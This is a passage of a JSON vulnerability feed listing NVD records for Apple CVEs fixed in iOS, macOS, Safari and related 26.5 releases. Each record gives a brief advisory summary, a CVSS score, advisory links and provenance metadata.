26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause a denial-of-service.","detail":"This issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause a denial-of-service.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:58.017Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28974","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28974","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28974","type":"primary","publishedAt":"2026-05-11T21:18:58.017Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28969","cveId":"CVE-2026-28969","aliases":[],"kind":"vulnerability","title":"A use after free issue was addressed with improved memory management.","summary":"A use after free issue was addressed with improved memory management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.7.7, macOS Sequoia 15.8, macOS Sonoma 14.8.7, macOS Tahoe 26.5, macOS Tahoe 26.7, tvOS 26.5, tvOS 27, visionOS 26.5, visionOS 27, watchOS 26.5, watchOS 27. An app may be able to cause unexpected system termination.","detail":"A use after free issue was addressed with improved memory management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.7.7, macOS Sequoia 15.8, macOS Sonoma 14.8.7, macOS Tahoe 26.5, macOS Tahoe 26.7, tvOS 26.5, tvOS 27, visionOS 26.5, visionOS 27, watchOS 26.5, watchOS 27. An app may be able to cause unexpected system termination.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:57.700Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28969","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28969","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28969","type":"primary","publishedAt":"2026-05-11T21:18:57.700Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28965","cveId":"CVE-2026-28965","aliases":[],"kind":"vulnerability","title":"A privacy issue was addressed with improved checks.","summary":"A privacy issue was addressed with improved checks. This issue is fixed in iOS 26.5 and iPadOS 26.5. A user may be able to view restricted content from the lock screen.","detail":"A privacy issue was addressed with improved checks. This issue is fixed in iOS 26.5 and iPadOS 26.5. A user may be able to view restricted content from the lock screen.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:57.493Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28965","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28965","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28965","type":"primary","publishedAt":"2026-05-11T21:18:57.493Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28964","cveId":"CVE-2026-28964","aliases":[],"kind":"vulnerability","title":"An inconsistent user interface issue was addressed with improved state management.","summary":"An inconsistent user interface issue was addressed with improved state management. This issue is fixed in iOS 26.5 and iPadOS 26.5, visionOS 26.5. An app may be able to access sensitive user data.","detail":"An inconsistent user interface issue was addressed with improved state management. This issue is fixed in iOS 26.5 and iPadOS 26.5, visionOS 26.5. An app may be able to access sensitive user data.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:57.387Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28964","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28964","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28964","type":"primary","publishedAt":"2026-05-11T21:18:57.387Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28962","cveId":"CVE-2026-28962","aliases":[],"kind":"vulnerability","title":"This issue was addressed with improved access restrictions.","summary":"This issue was addressed with improved access restrictions. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may disclose sensitive user information.","detail":"This issue was addressed with improved access restrictions. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may disclose sensitive user information.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:57.187Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28962","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28962","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28962","type":"primary","publishedAt":"2026-05-11T21:18:57.187Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28959","cveId":"CVE-2026-28959","aliases":[],"kind":"vulnerability","title":"A buffer overflow was addressed with improved bounds checking.","summary":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination.","detail":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:56.990Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28959","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28959","type":"primary","publishedAt":"2026-05-11T21:18:56.990Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28955","cveId":"CVE-2026-28955","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:56.570Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28955","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28955","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28955","type":"primary","publishedAt":"2026-05-11T21:18:56.570Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28954","cveId":"CVE-2026-28954","aliases":[],"kind":"vulnerability","title":"A file quarantine bypass was addressed with additional checks.","summary":"A file quarantine bypass was addressed with additional checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A maliciously crafted disk image may bypass Gatekeeper checks.","detail":"A file quarantine bypass was addressed with additional checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A maliciously crafted disk image may bypass Gatekeeper checks.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:56.467Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28954","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28954","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28954","type":"primary","publishedAt":"2026-05-11T21:18:56.467Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127111","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28953","cveId":"CVE-2026-28953","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:56.367Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28953","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28953","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28953","type":"primary","publishedAt":"2026-05-11T21:18:56.367Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28952","cveId":"CVE-2026-28952","aliases":[],"kind":"vulnerability","title":"An integer overflow was addressed with improved input validation.","summary":"An integer overflow was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to cause unexpected system termination.","detail":"An integer overflow was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to cause unexpected system termination.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:56.263Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28952","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28952","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28952","type":"primary","publishedAt":"2026-05-11T21:18:56.263Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127111","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28951","cveId":"CVE-2026-28951","aliases":[],"kind":"vulnerability","title":"An authorization issue was addressed with improved state management.","summary":"An authorization issue was addressed with improved state management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.","detail":"An authorization issue was addressed with improved state management. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:56.167Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28951","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28951","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28951","type":"primary","publishedAt":"2026-05-11T21:18:56.167Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28947","cveId":"CVE-2026-28947","aliases":[],"kind":"vulnerability","title":"A use-after-free issue was addressed with improved memory management.","summary":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.","detail":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:55.863Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28947","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28947","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28947","type":"primary","publishedAt":"2026-05-11T21:18:55.863Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28946","cveId":"CVE-2026-28946","aliases":[],"kind":"vulnerability","title":"A use-after-free issue was addressed with improved memory management.","summary":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, macOS Tahoe 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.","detail":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, macOS Tahoe 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:55.740Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28946","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28946","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28946","type":"primary","publishedAt":"2026-05-11T21:18:55.740Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of 